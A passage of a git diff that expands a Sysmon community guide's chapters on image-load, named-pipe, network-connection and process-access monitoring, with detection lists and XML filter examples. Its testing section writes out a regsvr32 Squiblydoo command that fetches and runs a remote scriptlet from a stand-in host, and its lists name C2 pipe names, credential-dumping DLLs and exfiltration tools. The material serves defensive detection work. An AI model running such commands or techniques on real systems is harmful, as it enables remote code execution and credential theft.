Detection**: Legitimate Windows binaries executing malicious actions often load specific DLLs that indicate suspicious behavior. + +**MITRE ATT&CK Mapping**: Image loading events help detect: +* **T1055 - Process Injection**: Injecting DLLs into running processes +* **T1055.001 - DLL Injection**: Classic DLL injection techniques +* **T1129 - Shared Modules**: Loading malicious shared libraries +* **T1059.001 - PowerShell**: Detecting PowerShell execution via System.Management.Automation.dll +* **T1059.005 - Visual Basic**: Detecting VBScript via vbscript.dll +* **T1218.010 - Regsvr32**: Squiblydoo technique via scrobj.dll +* **T1218.005 - Mshta**: MSHTA abuse via jscript9.dll loading + +Configuration Philosophy: Targeted Includes Only +------------------------------------------------- + +Because of the extreme volume, image loading must be configured with **targeted includes only**. You specify exactly which DLLs to monitor or which process and DLL combinations indicate malicious activity. This approach keeps event volume manageable while maintaining detection capability for high-value indicators. + +**Never attempt to:** +* Log all image loads and exclude noise +* Monitor all DLLs loaded by specific processes +* Use broad wildcards or patterns + +**Always:** +* Monitor specific suspicious DLLs known to indicate attacks +* Combine process and DLL criteria (e.g., only log PowerShell DLL when loaded by non-PowerShell processes) +* Start with a minimal configuration and expand carefully based on detection gaps The event fields are: @@ -42,7 +96,41 @@ The event fields are: * **SignatureStatus**: status of the signature -Example of libraries leveraged by attackers +High-Value DLLs to Monitor +--------------------------- + +Based on common attack techniques, these DLLs provide the best signal-to-noise ratio: + +**Scripting and Execution Engines:** +* **System.Management.Automation.dll** and **System.Management.Automation.ni.dll** - PowerShell engine (detect PowerShell loaded by non-PowerShell processes) +* **vbscript.dll** - VBScript engine (common in malicious macros and scripts) +* **jscript.dll** and **jscript9.dll** - JavaScript engines (used in MSHTA and script-based attacks) +* **scrrun.dll** - Windows Script Runtime (file system and registry access from scripts) +* **wshom.ocx** - Windows Script Host Object Model (used by malicious scripts) + +**COM and ActiveX Abuse:** +* **scrobj.dll** - Script Component Runtime (Squiblydoo/Regsvr32 abuse) +* **msxml3.dll** and **msxml6.dll** - XML parsing (used in some script-based attacks) + +**Credential Access:** +* **samlib.dll** - Security Accounts Manager library (credential dumping) +* **vaultcli.dll** - Windows Vault access (credential theft) +* **wdigest.dll** - WDigest authentication (credential access) + +**Injection and Debugging:** +* **dbghelp.dll** and **dbgcore.dll** - Debugging libraries (process dumping, credential theft) +* **ntdll.dll** loaded from unusual paths - Core system DLL from non-system location (DLL hijacking) + +**Suspicious DLL Characteristics to Monitor:** +* Unsigned DLLs loaded into signed processes +* DLLs loaded from user-writable directories (C:\\Users\\*, C:\\ProgramData\\*, C:\\Windows\\Temp\\*) +* DLLs with suspicious names or no metadata +* Known malicious DLL hashes from threat intelligence + +Configuration Examples +----------------------- + +**Example 1: Script Engine Detection** ```xml @@ -75,3 +163,124 @@ Example of libraries leveraged by attackers ``` + +**Example 2: Detecting Unsigned DLLs in Sensitive Processes** + +Monitor for unsigned libraries loaded into critical system processes: + +```xml + + + C:\Windows\System32\lsass.exe + false + + + C:\Windows\explorer.exe + false + + +``` + +**Example 3: DLL Loading from Suspicious Paths** + +Detect DLLs loaded from user-writable or temporary directories: + +```xml + + + C:\Users\ + C:\Windows\Temp\ + C:\ProgramData\ + + +``` + +**Example 4: Credential Access DLL Monitoring** + +```xml + + + samlib.dll + vaultcli.dll + wdigest.dll + + +``` + +What to Investigate +------------------- + +When reviewing image load events, prioritize these patterns: + +**1. PowerShell Engine Loaded by Non-PowerShell Processes** +* System.Management.Automation.dll loaded by Excel, Word, or other Office applications (malicious macro) +* PowerShell DLL loaded by rundll32.exe, regsvr32.exe, or other LOLBins +* PowerShell loaded by unknown or suspicious processes + +**2. Script Engines in Office Applications** +* vbscript.dll, jscript.dll, or wshom.ocx loaded by WINWORD.EXE or EXCEL.EXE (macros or embedded scripts) +* scrrun.dll providing file system access from documents + +**3. Squiblydoo and COM Abuse** +* scrobj.dll loaded by regsvr32.exe (classic Squiblydoo) +* Unexpected processes loading COM or ActiveX components + +**4. DLL Hijacking Indicators** +* System DLLs (ntdll.dll, kernel32.dll, etc.) loaded from non-system paths +* DLLs with names similar to system DLLs but from user directories + +**5. Debugging DLLs Against Critical Processes** +* dbghelp.dll or dbgcore.dll loaded into lsass.exe or other sensitive processes +* Correlation with Process Access events for comprehensive credential dumping detection + +**6. Unsigned or Suspicious DLLs** +* Unsigned DLLs loaded into signed processes (potential injection) +* DLLs from temporary directories or download folders +* DLLs with no version information or metadata + +Common False Positives and Mitigation +-------------------------------------- + +Even with targeted includes, some false positives may occur: + +**Legitimate PowerShell Usage**: Some enterprise software legitimately uses PowerShell engine DLLs. Document these and create specific exclusions for known-good processes with full path verification. + +**Development Environments**: Visual Studio and development tools load many scripting engines and components. Consider excluding developer workstations or specific development tool paths. + +**Management Software**: Configuration management tools, monitoring agents, and administrative software may load scripting engines. Whitelist by full path and signature. + +**Third-Party Software**: Some commercial applications use embedded scripting. Baseline your environment to identify legitimate uses. + +**Mitigation Strategy**: +* Combine multiple criteria (process + DLL + signature status + path) +* Use exclusions sparingly and with full path verification +* Document all exclusions and review quarterly +* Prefer SIEM-level filtering for known-good over Sysmon exclusions + +Performance Considerations +--------------------------- + +Image loading can impact system performance if misconfigured: + +**Minimize Monitored DLLs**: Only monitor DLLs with proven detection value. Resist the urge to add every interesting DLL. + +**Avoid Wildcards**: Wildcards in ImageLoaded filters can match many DLLs. Be specific. + +**Disable on High-Load Systems**: Consider disabling image load monitoring on extremely busy servers (web servers, databases) and focusing on workstations and sensitive servers. + +**Test Before Deployment**: Deploy image load configurations to a small test group first and monitor Sysmon CPU usage and event volume. + +**Use Signature Checking Wisely**: Checking signatures adds processing overhead. Use signature filters only when necessary. + +Testing and Validation +----------------------- + +Validate your image loading configuration captures attacks without overwhelming your systems: + +1. **Test Script-Based Attacks**: Execute a malicious macro in a lab to verify detection of vbscript.dll loading +2. **PowerShell Detection**: Test PowerShell execution from unusual processes +3. **Squiblydoo Simulation**: Test regsvr32 /u /s /i:http://example.com/payload.sct scrobj.dll technique +4. **Monitor Volume**: Track image load event volume daily to ensure it remains manageable (typically <1000 events/day/host for well-configured systems) +5. **CPU Impact**: Monitor Sysmon CPU usage to ensure image loading is not causing performance issues + +Image loading monitoring, when properly configured with targeted includes, provides valuable detection of sophisticated attack techniques like DLL injection, script engine abuse, and process injection. The key is maintaining strict discipline about only monitoring high-value indicators to keep volume and performance impact manageable. diff --git a/chapters/install_windows.md b/chapters/install_windows.md index f682c8a..5ada64d 100644 --- a/chapters/install_windows.md +++ b/chapters/install_windows.md @@ -1,39 +1,6 @@ -Install and Configuration +Installation and Configuration ========================= -* [Sysmon Command Line](#the-sysmon-command-line) - -* [Installation with Configuration](#installation-with-configuration) - - * [Uninstall](#uninstall) - - * [Installation Best Practice](#installation-best-practice) - -* [Configuration](#configuration) - - * [Command Line Parameters](#command-line-parameters) - - * [Filter Operators](#filter-operators) - - * [Event Schema](#event-schema) - - * [Configuration File](#configuration-file) - - * [RuleGroups](#rulegroups) - - * [Configuration File Best Practices](#configuration-file-best-practices) - - * [Configuration Tampering](#configuration-tampering) - - * [Configuration Deployment](#configuration-deployment) - - * [Deployment Script](#deployment-script) - - * [GPO Configuration Deployment](#gpo-configuration-deployment) - -The Sysmon Command Line -======================= - Sysmon installation and configuration can be done via the command line. When Sysmon is downloaded from Microsoft, the zip file will contain two command line versions of the tool: * **Sysmon.exe** - x86 and x64 version. diff --git a/chapters/media/TS_SysmonCommunityGuide_Cover.png b/chapters/media/TS_SysmonCommunityGuide_Cover.png new file mode 100644 index 0000000..b8dc736 Binary files /dev/null and b/chapters/media/TS_SysmonCommunityGuide_Cover.png differ diff --git a/chapters/media/tslogo.png b/chapters/media/tslogo.png index d935053..bb2bd30 100644 Binary files a/chapters/media/tslogo.png and b/chapters/media/tslogo.png differ diff --git a/chapters/media/tslogo_old.png b/chapters/media/tslogo_old.png new file mode 100644 index 0000000..d935053 Binary files /dev/null and b/chapters/media/tslogo_old.png differ diff --git a/chapters/named-pipes.md b/chapters/named-pipes.md index 4c22c79..677eea1 100644 --- a/chapters/named-pipes.md +++ b/chapters/named-pipes.md @@ -1,134 +1,213 @@ Named Pipes =========== -A named pipe is a named, one-way or duplex pipe for communication -between the pipe server and one or more pipe clients. Each named pipe -has a unique name that distinguishes it from other named pipes in the -system\'s list of named objects. Pipe names are specified as -\\\\ServerName\\pipe\\PipeName when connection is local a "." would be -used as ServerName. +Sysmon will log **EventID 17** (PipeCreated) when a named pipe server is created and **EventID 18** (PipeConnected) when a client connects to a named pipe. Named pipe monitoring is a **moderate-volume event type** that requires careful filtering strategy based on your environment. Named pipes are critical for detecting lateral movement, command and control communication, and inter-process communication used by malware. -Named pipes are used for pivoting in several RATs/Implants to have SMB -connections between machines. Some tools will use named pipes to talk to -injected code in other processes. +Detection Value and Why It Matters +----------------------------------- -Sysmon will generate a events +A named pipe is a named, one-way or duplex pipe for communication between a pipe server and one or more pipe clients. Each named pipe has a unique name that distinguishes it from other named pipes in the system's list of named objects. Pipe names follow the format `\\ServerName\pipe\PipeName` (or `\\.\pipe\PipeName` for local connections). -* **EventID 17** when a named pipe server is created. +Attackers extensively use named pipes for: -* **EventID 18** when a client connects to a named piper server. +**Lateral Movement and C2 Communication**: Named pipes enable SMB-based communication between systems. Remote Access Trojans (RATs) and implants like Cobalt Strike, Metasploit, and Empire use named pipes to: +* Create communication channels between compromised systems +* Tunnel commands and data over SMB (port 445) +* Pivot through networks via established trust relationships +* Bypass network firewalls by using allowed SMB traffic -For named pipes there are 2 approaches that can be taken: +**Inter-Process Communication (IPC)**: Malware uses named pipes to communicate between different processes on the same system: +* Communication with injected code in other processes +* Coordination between malware components +* Data exchange between stagers and payloads -* Include all events and exclude known good. +**Well-Known Attack Tool Pipes**: Many offensive security tools use identifiable pipe names that can be detected: +* **Cobalt Strike**: `\MSSE--server`, `\msagent_`, `\postex_`, `\postex_ssh_` +* **Metasploit**: `\msf-pipe-`, `\msfpipe` +* **PsExec**: `\PSEXESVC` +* **Empire**: Uses customizable pipe names, often defaults like `\Legit-Pipe-Name` -* Include only known malicious actors. +However, experienced attackers often avoid using well-known pipe names to prevent detection and to avoid breaking normal system operations. -The first approach requires more maintenance but in case of a breach -offers more value. The second one would be more targeted but this kind -of detection is better served with automation in the SIEM. Experienced -attackers normally avoid known Pipes to prevent breaking normal -operation of the system applications. +**MITRE ATT&CK Mapping**: +* **T1021.002 - Remote Services: SMB/Windows Admin Shares** - Named pipes over SMB +* **T1090 - Proxy** - Named pipe pivoting +* **T1573 - Encrypted Channel** - Named pipes for encrypted C2 +* **T1071 - Application Layer Protocol** - Named pipes as C2 channel -The process for PipeName values should be constant process. +Volume Characteristics and Configuration Strategy +-------------------------------------------------- -![process](./media/image45.png) +Named pipe volume varies significantly by environment: +* Workstations typically generate moderate volume (50-200 events per day) +* Systems with SQL Server, Exchange, or enterprise software generate many legitimate pipes +* Servers with database or messaging software can generate thousands of events per day +* Volume depends heavily on installed applications and their use of inter-process communication -Initial rule for collecting PipeEvent events +**Two Configuration Approaches:** -```xml - - - - - - - - - - - - - - - - - - - -``` +**Approach 1 - Exclusion-Based (Recommended for most environments)**: Log all named pipes but exclude known-good system and application pipes. This provides comprehensive visibility while keeping volume manageable. This approach requires ongoing baseline maintenance but offers the most detection value during incident response, as you'll capture novel or custom pipe names used by attackers. -Collect unique PipeName field values for building filters +**Approach 2 - Targeted Includes (For high-volume environments)**: Only log known malicious pipe names or pipes from suspicious processes. This minimizes volume but may miss novel attacks. This approach is better served with automated SIEM-based detection logic rather than Sysmon filtering alone. -The fields for the Pipe Create Event are: +**The baseline and iterative refinement process should be continuous**, as new applications and updates may introduce new legitimate pipes. -* **RuleName**: Name of rule that triggered the event. +What to Investigate +-------------------- -* **EventType**: ***[CreatePipe]{.underline}*** +When reviewing named pipe events, prioritize investigation of: -* **UtcTime**: Time in UTC when event was created +**1. Known Malicious Pipe Names** +* Cobalt Strike indicators: `MSSE-`, `msagent_`, `postex_`, `status_` +* Metasploit indicators: `msf`, `meterpreter` +* PsExec: `\PSEXESVC` (unless you use PsExec legitimately) +* Any pipes matching known offensive tool patterns -* **ProcessGuid**: Process Guid of the process that created the pipe +**2. Suspicious Pipe Name Patterns** +* Random-looking names (long strings of random characters) +* Misspellings of legitimate pipe names +* Generic names trying to blend in (`\pipe\generic`, `\pipe\default`) +* Pipes with unusual prefixes or suffixes -* **ProcessId**: Process ID used by the OS to identify the process - that created the pipe +**3. Pipes Created by Suspicious Processes** +* PowerShell, cmd.exe, or scripting engines creating named pipes +* Processes running from temp directories or user folders +* Unsigned or recently created executables +* Processes with suspicious parent-child relationships -* **PipeName**: Name of the pipe created +**4. Unusual Pipe Connections (EventID 18)** +* Connections to pipes from unexpected processes +* Cross-process pipe connections that don't match normal application behavior +* Connections shortly after suspicious process creation -* **Image**: File path of the process that created the pipe +**5. Remote Pipe Connections** +* Pipes with ServerName that isn't `.` (local) +* SMB-based pipe connections between systems (check network logs for corresponding SMB traffic) +* Pipe activity correlating with lateral movement indicators + +**6. Timing and Correlation** +* Pipe creation shortly after initial compromise indicators +* Multiple pipe events in sequence suggesting C2 setup +* Pipe activity during off-hours +* Correlation with Process Access or Network Connection events -The fields for the Pipe Connect Event are: +![process](./media/image45.png) -* **RuleName**: Name of rule that triggered the event. +Event Fields and Structure +--------------------------- -* **EventType**: ***[ConnectPipe]{.underline}*** +The fields for the Pipe Create Event (EventID 17) are: +* **RuleName**: Name of rule that triggered the event +* **EventType**: `CreatePipe` * **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that created the pipe +* **ProcessId**: Process ID used by the OS to identify the process that created the pipe +* **PipeName**: Name of the pipe created +* **Image**: File path of the process that created the pipe -* **ProcessGuid**: Process Guid of the process that connected the pipe - -* **ProcessId**: Process ID used by the OS to identify the process - that connected the pipe +The fields for the Pipe Connect Event (EventID 18) are: +* **RuleName**: Name of rule that triggered the event +* **EventType**: `ConnectPipe` +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that connected to the pipe +* **ProcessId**: Process ID used by the OS to identify the process that connected to the pipe * **PipeName**: Name of the pipe connected +* **Image**: File path of the process that connected to the pipe + +Configuration Examples +----------------------- + +**Initial Baseline Configuration**: Log all named pipes to understand your environment + +```xml + + + + + + + + + +``` -* **Image**: File path of the process that connected the pipe +After collecting baseline data for 1-2 weeks, analyze the unique PipeName values and create exclusions for verified legitimate pipes. -Example excluding known good Pipe Names +**Exclusion-Based Configuration**: After baselining, exclude known-good pipes -```XML +```xml - + - - - - \ntapvsrq - \srvsvc - \wkssvc - \lsass - \winreg - \spoolss - Anonymous Pipe - c:\windows\system32\inetsrv\w3wp.exe - - - \SQLLocal\MSSQLSERVER - \SQLLocal\INSTANCE01 - \SQLLocal\SQLEXPRESS - \SQLLocal\COMMVAULT - \SQLLocal\RTCLOCAL - \SQLLocal\RTC - \SQLLocal\TMSM - Program Files (x86)\Microsoft SQL Server\110\DTS\binn\dtexec.exe - + + \ntapvsrq + \srvsvc + \wkssvc + \lsass + \winreg + \spoolss + \samr + \eventlog + Anonymous Pipe + + + c:\windows\system32\inetsrv\w3wp.exe + + + \SQLLocal\MSSQLSERVER + \SQLLocal\INSTANCE01 + \SQLLocal\SQLEXPRESS + \SQLLocal\COMMVAULT + \SQLLocal\RTCLOCAL + \SQLLocal\RTC + \SQLLocal\TMSM + + ``` -One thing to consider is that Sysmon uses a minifilter just like the -file events. If any AV or EDR with a lower altitude number triggers -on a named pipe and blocks it, Sysmon will not log the event. +**Targeted Include Configuration**: For high-volume environments, only log suspicious patterns + +```xml + + + + + + MSSE- + msagent_ + postex_ + status_ + + + msf + meterpreter + + + \PSEXESVC + + + \powershell.exe + \cmd.exe + \cscript.exe + \wscript.exe + \Temp\ + \AppData\Local\Temp\ + + + + +``` + +Important Limitation: Minifilter Altitude +------------------------------------------ + +Sysmon uses a minifilter driver to monitor named pipe creation, similar to how it monitors file events. **If any antivirus or EDR solution with a lower altitude number** (which means higher priority in the driver stack) **triggers on a named pipe and blocks it, Sysmon will not log the event**. + +This means some malicious pipe creation attempts may be blocked by security software before Sysmon can observe them. This is generally acceptable, as the pipe was blocked, but it's important to understand this limitation when investigating incidents. Your EDR or antivirus logs may contain pipe blocking events that don't appear in Sysmon. diff --git a/chapters/network-connections.md b/chapters/network-connections.md index 07e4c0a..00b8732 100644 --- a/chapters/network-connections.md +++ b/chapters/network-connections.md @@ -1,11 +1,104 @@ Network Connections =================== -Sysmon will log **EventID 3** for all TCP and UDP network connections. This event will generate a large number of entries and filtering should be tuned for specific processes and ports. +Sysmon will log **EventID 3** for all TCP and UDP network connections made by processes on the system. Network connection monitoring is critical for detection engineering because it provides visibility into command and control communications, lateral movement, data exfiltration, and initial access attempts. However, this is also one of the highest-volume event types Sysmon can generate, requiring careful configuration to balance visibility with manageability. -For the DestinationHostname, the GetNameInfo API is used and it will often not have any information and may just be a CDN, making it NOT reliable for filtering since it uses a reverse DNS Lookup to get this information, in Sysmon v11.0 this behaviour can be disabled by using the ```False``` at the root of the configuration file. +Detection Value and Use Cases +------------------------------ -For the DestinationPortName, the GetNameInfo API is used for the friendly name of ports. In the case of services doing connections on some systems due to memory use, they are hosted under svchost.exe and most connections will originate from this process. +Network connection logging provides insight into several critical attack phases: + +**Command and Control (C2)**: After initial compromise, attackers establish communication channels to remotely control infected systems. Network connection logs help detect: +* Beaconing patterns to external IP addresses +* Connections to known malicious infrastructure +* Unusual protocols or ports for outbound communication +* Communication from processes that should not make network connections + +**Lateral Movement**: Attackers move between systems within a network using various protocols. Network logs capture: +* SMB connections between workstations (unusual peer-to-peer traffic) +* RDP or WinRM connections from unexpected sources +* Administrative tool usage across systems +* Pass-the-hash and other credential theft-based movement + +**Data Exfiltration**: When attackers steal data, they must transmit it somewhere. Network monitoring detects: +* Large volume transfers to external destinations +* Connections to cloud storage or file sharing services from unusual processes +* Data moving to geographic regions where your organization does not operate +* Exfiltration through unusual protocols or applications + +**Living Off the Land**: Attackers abuse legitimate Windows tools to avoid detection. Network logs help identify when built-in tools make suspicious connections: +* PowerShell connecting to the internet +* cmd.exe, wscript.exe, or certutil.exe downloading files +* Administrative tools like wmic.exe or sc.exe used remotely +* Compilation tools like msbuild.exe fetching remote resources + +**MITRE ATT&CK Mapping**: Network connection events help detect numerous techniques: +* **T1071 - Application Layer Protocol**: C2 communication over standard protocols +* **T1095 - Non-Application Layer Protocol**: C2 using custom protocols +* **T1041 - Exfiltration Over C2 Channel**: Data theft via command and control +* **T1048 - Exfiltration Over Alternative Protocol**: Using uncommon channels for data theft +* **T1021 - Remote Services**: RDP, SMB, WinRM for lateral movement +* **T1090 - Proxy**: Using proxies or tunnels to obscure communication +* **T1105 - Ingress Tool Transfer**: Downloading additional attack tools + +Volume Challenges and Configuration Philosophy +----------------------------------------------- + +Network connections are extremely high-volume. A typical Windows workstation generates hundreds to thousands of network connections per hour through: +* Web browsers making dozens of connections per webpage +* Cloud applications constantly syncing data +* Operating system telemetry and update checks +* Background applications and services +* Email clients, chat applications, collaboration tools + +On servers, especially domain controllers or application servers, network connection volume can reach tens of thousands per hour. Logging all connections without filtering will: +* Overwhelm your SIEM with millions of events daily +* Consume significant storage +* Make it nearly impossible to find meaningful detections in the noise +* Impact Sysmon and system performance + +This event type requires either an **outlier-based exclusion approach** (filter out known-good, log everything else) or a **targeted include approach** (only log specific suspicious processes or ports). Many organizations use a hybrid strategy. + +Critical Warning: Cloud Service Abuse +-------------------------------------- + +**Do NOT blindly exclude all cloud service connections.** Attackers frequently abuse legitimate cloud tools and services to blend in with normal traffic and evade perimeter monitoring. Be extremely cautious when considering exclusions for cloud-related processes. + +**Known Attack Patterns Using Cloud Services:** + +* **cloudflared.exe** (Cloudflare Tunnel) - Attackers use this legitimate Cloudflare tool to tunnel SSH, RDP, and Remote Monitoring and Management (RMM) tool connections through Cloudflare's network. This bypasses traditional perimeter controls and appears as normal HTTPS traffic to Cloudflare infrastructure. Always log cloudflared.exe connections and investigate unexpected usage. + +* **cmd5.exe** (AWS CLI) - Attackers have used modified or legitimate versions of AWS command-line tools for data exfiltration to AWS S3 buckets. If your organization does not routinely use AWS CLI tools on endpoints, these should always be logged. + +* **rclone** - This legitimate cloud storage synchronization tool is heavily abused by attackers for data exfiltration to various cloud storage providers (Google Drive, Dropbox, OneDrive, Mega, etc.). Attackers use rclone because it can transfer large amounts of data to cloud storage while appearing as normal cloud sync traffic, evading perimeter data loss prevention (DLP) monitoring. + +* **Cloud Storage Client Abuse** - Legitimate sync clients (OneDrive, Google Drive, Dropbox) can be abused to exfiltrate data by attackers who install them or use existing installations with attacker-controlled accounts. + +**Best Practice**: Instead of excluding cloud tools, implement **conditional monitoring**: +* Log cloud tool usage from unexpected user accounts +* Log cloud tools running from unusual paths (temp directories, user downloads) +* Monitor for cloud tools on servers where they should not exist +* Track volume of data transferred by cloud tools +* Alert on first-time usage of cloud tools in your environment + +Configuration Strategies +------------------------- + +**Strategy 1 - Targeted Includes for Suspicious Processes (Recommended for Most)** + +The most practical approach for most organizations is to only log network connections from processes that should rarely or never make network connections. This dramatically reduces volume while capturing the most valuable detections. + +**Strategy 2 - Exclusion-Based with Aggressive Filtering** + +Some organizations with sufficient SIEM capacity log all connections but exclude high-volume, known-good applications. This provides broader visibility but requires more storage and processing. + +**Strategy 3 - Hybrid Approach** + +Combine both strategies: include specific suspicious processes and exclude specific high-volume benign applications, logging everything else that falls between. + +**Important DNS Lookup Note**: The DestinationHostname field uses the GetNameInfo API for reverse DNS lookups. This is often unreliable - it may return CDN names, may have no information, or may be spoofable. Since Sysmon v11.0, you can disable this behavior using ```False``` at the root of the configuration file. Disabling DNS lookup also improves performance and reduces dependencies on network availability. + +**Port Name Consideration**: The DestinationPortName field uses GetNameInfo API for friendly port names. On systems where services run under svchost.exe, most connections will show svchost.exe as the source process. The fields for the event are: @@ -46,7 +139,12 @@ The fields for the event are: * **DestinationPortName**: Name of the destination port -Example tracking connections for attacker "Living off the land" +Configuration Examples +---------------------- + +**Example 1: Targeted Includes for Living Off the Land Binaries** + +This configuration only logs network connections from Windows built-in tools and commonly abused utilities: ```xml @@ -94,3 +192,100 @@ Example tracking connections for attacker "Living off the land" ``` + +**Example 2: Including Cloud Tools and Data Transfer Utilities** + +Add these to your includes to capture potential exfiltration attempts: + +```xml + + + cloudflared.exe + rclone.exe + aws.exe + cmd5.exe + gsutil.exe + azcopy.exe + ngrok + curl.exe + wget.exe + +``` + +What to Monitor and Investigate +-------------------------------- + +When reviewing network connection events, prioritize these patterns: + +**1. Unexpected Process Making Connections** +* Any Windows system tool (cmd.exe, powershell.exe, wmic.exe) connecting to external IPs +* Compilation or scripting tools (msbuild.exe, cscript.exe, wscript.exe) making network requests +* Office applications (WINWORD.EXE, EXCEL.EXE) connecting to unusual destinations + +**2. Cloud Tools from Unusual Locations** +* cloudflared.exe, rclone, or AWS tools running from temp directories or user downloads +* Cloud sync tools on servers or systems where they should not be installed +* Multiple cloud tools appearing on the same system in a short timeframe + +**3. Lateral Movement Indicators** +* Workstation-to-workstation SMB (port 445) or RDP (port 3389) connections +* WinRM (port 5985/5986) connections between non-administrative systems +* Administrative tools connecting to multiple internal systems in sequence + +**4. Geographic Anomalies** +* Connections to countries where your organization does not operate +* Connections to known high-risk geographic regions +* Sudden change in connection destinations for a process + +**5. Volume Anomalies** +* Unusually large number of connections from a single process +* High-volume data transfer from a process that should not transfer significant data +* Beaconing patterns (regular, repeated connections at fixed intervals) + +**6. Port and Protocol Anomalies** +* Connections on unusual ports (high-numbered ports, non-standard services) +* Protocols used in unexpected ways (DNS tunneling, ICMP tunneling) +* Standard ports used by non-standard processes + +Common Exclusions (Use with Caution) +------------------------------------- + +If using an exclusion-based approach, these are commonly excluded high-volume processes. However, implement these exclusions with specific criteria to prevent abuse: + +**Browsers** - Exclude by full path and verify signed: +```xml + + C:\Program Files\Google\Chrome\Application\ + true + +``` + +**System Updates** - Exclude Windows Update and known software updaters: +```xml + + C:\Windows\System32\svchost.exe + 443 + windowsupdate + +``` + +**NEVER Exclude These Without Additional Context:** +* PowerShell or cmd.exe making any external connections +* Cloudflared, rclone, or other tunneling/sync tools +* Administrative tools (wmic, sc, net, reg, etc.) +* Script hosts (cscript, wscript, mshta) +* Processes running from temp directories + +Testing and Validation +----------------------- + +After implementing network connection monitoring, validate effectiveness: + +1. **Simulate C2 Traffic**: Use tools like Cobalt Strike or Metasploit in a lab to verify C2 beacon detection +2. **Test Cloud Exfiltration**: Upload a test file using rclone to verify detection +3. **Lateral Movement Simulation**: Test WinRM or PsExec between systems to ensure logging +4. **Baseline Normal Traffic**: Run your configuration for 1-2 weeks to understand typical volume and patterns +5. **Tune Exclusions**: Gradually add exclusions for verified benign high-volume traffic +6. **Monitor False Negative Risk**: Regularly test that exclusions have not created detection blind spots + +Network connection monitoring, when properly configured, provides critical visibility into attacker communications, lateral movement, and data theft. The key is finding the balance between comprehensive coverage and manageable event volume through thoughtful inclusion and exclusion rules. diff --git a/chapters/process-access.md b/chapters/process-access.md index bd2e8fb..a3b3a30 100644 --- a/chapters/process-access.md +++ b/chapters/process-access.md @@ -1,37 +1,90 @@ Process Access ============== -When one process opens another, sysmon will log this with an event ID of 10. The access with higher permissions allows for also reading the content of memory, patching memory, process hollowing, creations of threads and other tasks that are abused by attackers. This technique has been used for access to credentials, keys and data that are in the process memory. +When one process opens another and requests access to its memory space, Sysmon will log this with an **Event ID 10**. This event type is critical for detecting some of the most dangerous post-exploitation techniques used by attackers, including credential theft, process injection, and memory manipulation. -This task is also common for benign processes that query information on another process, such as Task Manager, tasklist.exe and others, this requires that a baseline be established and filtered out at a SIEM level taking into consideration other factors like image fullpath, parent process and account used so as to prevent any whitelisted processes from being used as staging for attacks. +Detection Value and Use Cases +------------------------------ -Sysmon generates this event using ObRegisterCallbacks leveraging its -driver. The main 2 filtering fields recommended are: +Process access monitoring is essential because many advanced attack techniques require reading or modifying another process's memory. Understanding when and how processes access each other provides visibility into: -* **TargetImage** - File path of the executable being accessed by - another process. +**Credential Dumping**: The most common use case for process access monitoring is detecting attempts to steal credentials from memory. Attackers frequently target specific Windows processes that contain credentials in memory: +* **lsass.exe** (Local Security Authority Subsystem Service) - Contains authentication credentials and is the primary target for tools like Mimikatz +* **csrss.exe** (Client/Server Runtime Subsystem) - Can contain sensitive session information +* **winlogon.exe** - Handles user logon and may contain plaintext passwords briefly -* **GrantedAccess** - The access flags (bitmask) associated with the - process rights requested for the target process +**Process Injection**: Attackers inject malicious code into legitimate processes to evade detection and gain elevated privileges. This requires opening the target process with specific access rights to write to its memory and create threads. + +**Process Hollowing**: A technique where an attacker creates a legitimate process in a suspended state, replaces its code with malicious code, and then resumes execution. This also requires specific process access rights to manipulate memory. + +**Defense Evasion**: Accessing security tool processes to disable protections, manipulate their behavior, or terminate them. + +**MITRE ATT&CK Mapping**: Process access events help detect: +* **T1003.001 - OS Credential Dumping: LSASS Memory** - Reading LSASS process memory to extract credentials +* **T1055 - Process Injection** - Injecting code into running processes +* **T1055.012 - Process Hollowing** - Replacing legitimate process code with malicious code +* **T1106 - Native API** - Using low-level APIs to access processes +* **T1134 - Access Token Manipulation** - Opening processes to steal or manipulate access tokens + +Volume Characteristics +----------------------- + +Process access can generate moderate to high volumes of events depending on configuration. Many legitimate processes routinely access other processes for benign purposes: +* Task Manager queries all running processes +* Monitoring tools read process information +* Management agents check process status +* Security software scans running processes + +This is why process access monitoring uses a **targeted include approach** rather than exclusions. Instead of logging all process access and filtering out normal activity, you configure Sysmon to only log access to specific critical processes or access attempts using specific dangerous access rights. + +Configuration Strategy: Targeted Includes +------------------------------------------ + +Unlike high-volume event types such as process creation where you use exclusions to filter out noise, process access monitoring works best with **targeted includes**. You explicitly specify which processes to monitor and which access rights to alert on. This approach provides several benefits: + +**Focused Detection**: By only monitoring specific critical processes, you ensure every event logged is potentially significant. + +**Manageable Volume**: Limiting monitoring to a handful of critical system processes keeps event volume low. + +**Clear Intent**: When a process access event is generated, it is because something accessed a process you specifically decided to protect. This makes triage straightforward. + +**Reduced False Positives**: While you will still see some benign access to critical processes, the volume is low enough that filtering can be done at the SIEM level using additional context like source process path, user account, or parent process. + +Key Filtering Fields +--------------------- + +Sysmon generates this event using ObRegisterCallbacks leveraging its driver. The main two filtering fields recommended are: + +* **TargetImage** - File path of the executable being accessed by another process. This is how you specify which processes to protect. + +* **GrantedAccess** - The access flags (bitmask) associated with the process rights requested for the target process. This allows you to filter for specific dangerous access rights. -As a minimum it is recommended to filter including critical processes, -as a minimum: +Critical Processes to Monitor +------------------------------ -* C:\\Windows\\system32\\lsass.exe +As a minimum, it is recommended to monitor these critical Windows processes: -* C:\\Windows\\system32\\csrss.exe +* **C:\\Windows\\system32\\lsass.exe** - Primary target for credential theft. This should always be monitored. -* C:\\Windows\\system32\\wininit.exe +* **C:\\Windows\\system32\\csrss.exe** - Client/Server Runtime Subsystem, can contain session credentials -* C:\\Windows\\system32\\winlogon.exe +* **C:\\Windows\\system32\\wininit.exe** - Windows initialization process -* C:\\Windows\\system32\\services.exe +* **C:\\Windows\\system32\\winlogon.exe** - Handles interactive logon, may contain credentials temporarily -Check for masks of known tools for credential dumping, process injection -and process hollowing. Great care should be taken when setting masks -since Sysmon does a literal comparison of the mask string provided -against the one returned. It is not a bitwise operation, care should be -taken to track the proper combinations. +* **C:\\Windows\\system32\\services.exe** - Service Control Manager + +You may also want to monitor: +* Your EDR or antivirus processes (to detect attempts to disable security tools) +* Backup agent processes (to detect ransomware attempting to terminate backup services) +* Domain controller specific processes if monitoring DCs + +Understanding Access Masks +--------------------------- + +Access masks define what permissions are being requested when one process opens another. Different attack techniques require different access rights, so understanding these masks helps you identify what an attacker is attempting to do. + +**Important**: 